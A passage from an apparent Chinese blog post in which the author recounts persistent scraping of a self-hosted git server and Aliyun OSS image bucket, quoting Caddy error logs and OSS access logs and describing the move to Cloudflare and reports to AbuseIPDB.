deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000191609,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;fhuzf2976\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.3730135,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.215.163\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;20753\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.215.163\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/0af9d23e4989ed7ada10e6990802ccd9a28d8797/layouts/partials/data/description.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000226774,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;kprf6bcji\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.4402184,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.195.231\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;49027\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.195.231\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/25581cc44637909a75aacdf33f896192f0569689/layouts/partials/head/style.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000254457,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;yp9xbpai2\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.4595432,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.200.216\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;3491\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.200.216\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/raw/commit/d04b3a8771386c9988be00adda53f0bf542cf269/layouts/partials/helper/icon.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000294471,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;txnhq2xhy\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} Aug 19 21:00:32 VM-8-17-ubuntu caddy[5430]: {\u0026#34;level\u0026#34;:\u0026#34;error\u0026#34;,\u0026#34;ts\u0026#34;:1755608432.4613986,\u0026#34;logger\u0026#34;:\u0026#34;http.log.error\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;dial tcp :3001: connect: connection refused\u0026#34;,\u0026#34;request\u0026#34;:{\u0026#34;remote_ip\u0026#34;:\u0026#34;47.79.200.119\u0026#34;,\u0026#34;remote_port\u0026#34;:\u0026#34;54239\u0026#34;,\u0026#34;client_ip\u0026#34;:\u0026#34;47.79.200.119\u0026#34;,\u0026#34;proto\u0026#34;:\u0026#34;HTTP/1.1\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;GET\u0026#34;,\u0026#34;host\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;,\u0026#34;uri\u0026#34;:\u0026#34;/cyp0633/stack-mod/src/commit/25a72940b8184b41de36fec9a3fcdd6387e006b0/layouts/partials/sidebar/left.html\u0026#34;,\u0026#34;headers\u0026#34;:{\u0026#34;Sec-Ch-Ua-Mobile\u0026#34;:[\u0026#34;?0\u0026#34;],\u0026#34;Priority\u0026#34;:[\u0026#34;u=0, i\u0026#34;],\u0026#34;Upgrade-Insecure-Requests\u0026#34;:[\u0026#34;1\u0026#34;],\u0026#34;Cache-Control\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Connection\u0026#34;:[\u0026#34;keep-alive\u0026#34;],\u0026#34;Pragma\u0026#34;:[\u0026#34;no-cache\u0026#34;],\u0026#34;Accept-Language\u0026#34;:[\u0026#34;en,en-US\u0026#34;],\u0026#34;User-Agent\u0026#34;:[\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0.4472.124\u0026#34;],\u0026#34;Sec-Ch-Ua\u0026#34;:[\u0026#34;\\\u0026#34;Google Chrome\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;, \\\u0026#34;Not-A.Brand\\\u0026#34;;v=\\\u0026#34;8\\\u0026#34;, \\\u0026#34;Chromium\\\u0026#34;;v=\\\u0026#34;135\\\u0026#34;\u0026#34;],\u0026#34;Accept-Encoding\u0026#34;:[\u0026#34;gzip, deflate\u0026#34;],\u0026#34;Sec-Ch-Ua-Platform\u0026#34;:[\u0026#34;\\\u0026#34;macOS\\\u0026#34;\u0026#34;],\u0026#34;Sec-Fetch-Dest\u0026#34;:[\u0026#34;document\u0026#34;],\u0026#34;Accept\u0026#34;:[\u0026#34;*/*\u0026#34;],\u0026#34;Sec-Fetch-Mode\u0026#34;:[\u0026#34;navigate\u0026#34;],\u0026#34;Sec-Fetch-Site\u0026#34;:[\u0026#34;none\u0026#34;],\u0026#34;Sec-Fetch-User\u0026#34;:[\u0026#34;?1\u0026#34;]},\u0026#34;tls\u0026#34;:{\u0026#34;resumed\u0026#34;:false,\u0026#34;version\u0026#34;:772,\u0026#34;cipher_suite\u0026#34;:4865,\u0026#34;proto\u0026#34;:\u0026#34;http/1.1\u0026#34;,\u0026#34;server_name\u0026#34;:\u0026#34;git.cyp0633.icu\u0026#34;}},\u0026#34;duration\u0026#34;:0.000191127,\u0026#34;status\u0026#34;:502,\u0026#34;err_id\u0026#34;:\u0026#34;a7uvn7yxk\u0026#34;,\u0026#34;err_trace\u0026#34;:\u0026#34;reverseproxy.statusError (reverseproxy.go:1373)\u0026#34;} 没想到即使遭遇了数天的HTTP 502，这些IP还是不死心，在坚持不懈地进行访问。一模一样的IP段，一模一样的访问模式，一模一样的假User-Agent。在意识到还是不如套个Cloudflare来得方便后，我便打开了代理开关，把这些IP全都上报到了AbuseIPDB。这个阿里云用户似乎没有完全罢休，在切换到Cloudflare后仍然锲而不舍地爬了好一会，造成了Cloudflare访问统计上的一座高峰；之后还使用阿里云香港，隶属于AS45102的IP继续尝试访问，不过都被Cloudflare挡下来了。\nCloudflare 访问统计 刷爆对象存储，但是细水长流 前段时间阿里云给我发了条短信：\n【阿里云】尊敬的cyp*33，截至2025-08-21 18:02:57，您的剩余可用额度为1.24元。根据您以往消费情况预测，剩余可用额度可能不足以支撑您未来7天的消费，为了避免欠费导致产品停止服务，请您及时充值。您可以登录阿里云官网查询账户可用额度信息和延停权益。\n当时没太在意，以为是正常的余额消耗，因为虽然OSS一个月花不了几毛钱，但阿里云上还有大模型推理，可能最近用模型太多了。然而过了四天，就用掉了0.71元，消耗速度有些异常：\n【阿里云】尊敬的cyp*33，截至2025-08-25 15:02:10，您的剩余可用额度为0.53元。根据您以往消费情况预测，剩余可用额度可能不足以支撑您未来3天的消费。为了避免欠费导致产品停止服务，请您及时充值。您可以登录阿里云官网查询账户可用额度信息和延停权益。\n进阿里云一看，才发现是OSS在花钱。为了节省Netlify的空间，提高国内的访问速度，Netlify上仅有博客的核心静态资源，而图片等大文件托管在内地的一个公共读阿里云OSS上。虽然开启了Referer白名单防盗链，但鉴于Referer投可以伪造，所以还是不保险。相比于之前的消耗速度，一天两毛钱已经算是警告了：如果再不处理，恐怕真的要欠费了。\n依旧导出了一些OSS的日志：\ncsv 复制代码 __source__,__time__,__topic__,acc_access_region,access_id,archive_direct_read_size,bucket,bucket_location,bucket_storage_type,cdn_in,cdn_out,client_ip,content_length_in,content_length_out,delta_data_size,ec,end_time,error_code,extend_information,get_request,host,http_method,http_status,http_type,intranet_in,intranet_out,logging_flag,metering_datasize,metering_datasize_ca,metering_datasize_zrs,metering_datasize_zrsii,network_in,network_out,object,object_size,operation,owner_id,process_img,process_img_size,put_request,referer,region,request_id,request_length,request_uri,requester_id,response_body_length,response_time,restore_priority,server_cost_time,sign_type,start_time,storage,storage_type,sync_in,sync_out,sync_request,target_storage_class,time,user_agent,user_defined_log_fields,vpc_addr,vpc_id log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,185189,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,need-for-speed-unbound%2FNeed%20for%20Speed%E2%84%A2%20Unbound%202023-01-22%2010-57-14.mp4_20230122_151607.850.avif,185189,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979E8569830337BD3AC,750,/need-for-speed-unbound/Need%20for%20Speed%E2%84%A2%20Unbound%202023-01-22%2010-57-14.mp4_20230122_151607.850.avif HTTP/1.1,-,185189,24,-,22,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,76636,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,nuc-homelab%2Fdiskperf.avif,76636,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E97978A51C363838F585,662,/nuc-homelab/diskperf.avif HTTP/1.1,-,76636,41,-,41,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,233860,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,vscode-latex%2Fvscode-with-extension.avif,233860,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E97978A51C35354AF585,676,/vscode-latex/vscode-with-extension.avif HTTP/1.1,-,233860,33,-,31,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,144022,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-bugs%2Fwin11bug21.avif,144022,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9794A68943931DED990,668,/windows-11-bugs/win11bug21.avif HTTP/1.1,-,144022,31,-,30,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,158049,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,wild-chicken-university%2Ftianyancha.avif,158049,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9798F796838331F52B9,676,/wild-chicken-university/tianyancha.avif HTTP/1.1,-,158049,30,-,27,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,28216,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,vmware-ubuntu-12.04%2Faccount.avif,28216,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9792E174C34349AADA1,669,/vmware-ubuntu-12.04/account.avif HTTP/1.1,-,28216,33,-,32,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,55299,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Fstart-menu.avif,55299,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979AF9A9630396238AC,676,/windows-11-21996-leaked/start-menu.avif HTTP/1.1,-,55299,27,-,26,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,14143,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Foobe4.avif,14143,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979AF9A9635306338AC,671,/windows-11-21996-leaked/oobe4.avif HTTP/1.1,-,14143,33,-,32,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,20354,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Fwindows-10-calendar.avif,20354,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9798D51EC3531998676,685,/windows-11-21996-leaked/windows-10-calendar.avif HTTP/1.1,-,20354,34,-,34,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,32798,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-21996-leaked%2Foobe5.avif,32798,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E9798D51EC3230A48676,671,/windows-11-21996-leaked/oobe5.avif HTTP/1.1,-,32798,32,-,30,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,61159,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,windows-11-bugs%2Fwin11bug5.avif,61159,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979C759F63035B22080,667,/windows-11-bugs/win11bug5.avif HTTP/1.1,-,61159,23,-,18,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,199772,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,nuc-homelab%2Fsiyuan.avif,199772,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979C70CA13536A34EB1,660,/nuc-homelab/siyuan.avif HTTP/1.1,-,199772,45,-,44,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,41757,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,csapp-bufferlab%2Fstackframe.avif,41757,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979C70CA13931A94EB1,668,/csapp-bufferlab/stackframe.avif HTTP/1.1,-,41757,67,-,66,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0__source__,__time__,__topic__,acc_access_region,access_id,archive_direct_read_size,bucket,bucket_location,bucket_storage_type,cdn_in,cdn_out,client_ip,content_length_in,content_length_out,delta_data_size,ec,end_time,error_code,extend_information,get_request,host,http_method,http_status,http_type,intranet_in,intranet_out,logging_flag,metering_datasize,metering_datasize_ca,metering_datasize_zrs,metering_datasize_zrsii,network_in,network_out,object,object_size,operation,owner_id,process_img,process_img_size,put_request,referer,region,request_id,request_length,request_uri,requester_id,response_body_length,response_time,restore_priority,server_cost_time,sign_type,start_time,storage,storage_type,sync_in,sync_out,sync_request,target_storage_class,time,user_agent,user_defined_log_fields,vpc_addr,vpc_id log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,185189,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,need-for-speed-unbound%2FNeed%20for%20Speed%E2%84%A2%20Unbound%202023-01-22%2010-57-14.mp4_20230122_151607.850.avif,185189,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E979E8569830337BD3AC,750,/need-for-speed-unbound/Need%20for%20Speed%E2%84%A2%20Unbound%202023-01-22%2010-57-14.mp4_20230122_151607.850.avif HTTP/1.1,-,185189,24,-,22,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,76636,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,nuc-homelab%2Fdiskperf.avif,76636,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E97978A51C363838F585,662,/nuc-homelab/diskperf.avif HTTP/1.1,-,76636,41,-,41,NotSign,,,,,,-,-,02/Sep/2025:02:44:09,\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\u0026#34;,-,172563320,0 log_dispatch,1756752249,oss_access_log,-,-,-,cyp0633-blogasset,oss-cn-qingdao-h,standard,,,46.62.169.27,-,233860,-,-,,-,-,,cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,GET,200,https,,,true,,,,,,,vscode-latex%2Fvscode-with-extension.avif,233860,GetObject,1385315732671155,,,,https://cyp0633-blogasset.cn-qingdao.oss.aliyuncs.com,,68B5E97978A51C35354AF585,676,/vscode-latex/vscode-with-extension.avif 